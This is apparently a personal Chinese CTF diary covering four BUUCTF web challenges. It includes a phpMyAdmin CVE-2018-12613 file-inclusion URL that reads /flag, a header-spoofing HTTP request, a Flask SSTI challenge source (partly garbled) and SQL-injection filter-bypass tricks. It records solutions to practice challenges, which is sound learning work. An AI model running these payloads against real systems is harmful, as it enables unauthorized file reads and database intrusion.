Buu摸鱼日记(12)

 

buu摸鱼日记(12)

[GWCTF 2019]我有一个数据库

用nikto直接扫出来了Phpmyadmin,然后就进了后台,然后停止了思考

这个搞不出来主要是要一个cve-2018-12613-PhpMyadmin后台文件包含

https://www.jianshu.com/p/fb9c2ae16d09

就是过滤不严导致的一个CVE,可以造成文件读取,RCE什么的

/phpmyadmin/?target=db_datadict.php%253f/../../../../../../../../flag

[BJDCTF 2nd]假猪套天下第一

绕的我有点晕

尝试sql注入的时候返回L0g1n.php

等的时候发现要改请求头

一通改就行,最后是这样的

GET /L0g1n.php HTTP/1.1
Host: node3.buuoj.cn:28328
User-Agent: Commodore 64
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=99ql7tggdcn8nt36tbm1chlc66; time=1594460329999
Upgrade-Insecure-Requests: 1
Client-Ip: 127.0.0.1
Referer: gem-love.com
From: root@gem-love.com
via: y1ng.vip

注释里base64解开就是flag

[WesternCTF2018]shrine

麻了,又搜bypass搜到wp了

源码审计一看就知道是ssti

import flask
import os


app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/') 
def index(): 
    return open(__file__).read() 
    
@app.route('/shrine/') 
def shrine(shrine): 
    def safe_jinja(s): 
        s = s.replace('(', '').replace(')', '') 
        blacklist = ['config', 'self'] 
        return ''.join(['% set =None%}}'.format(c) for c in blacklist]) + s 
    return flask.render_template_string(safe_jinja(shrine)) 


if __name__ == '__main__': 
    app.run(debug=True) 

试了一下果然如此

利用app回调到sys再返回app来绕过相应权限问题以及括号,最后用__dict__吧所有的都翻出来


或者是利用app python的自带函数


url_for回调到相应app然后把config输出出来

(这里只有过滤直接输入config和self的)

[SWPU2019]Web1

一开始以为是xss(并不是)

这sql注入居然有23列!太你妈坑了

学了下bypass技巧

group/**/by/**/22
可以替代order by

被过滤# – 可以用’1之类的方法补掉后面

http://lz2y.top/index.php/2020/04/%E5%88%B7%E9%A2%98%E8%AE%B0%E5%BD%95-swpu2019web1/

莫名其妙复现不出来,明天在研究吧(有点恶心)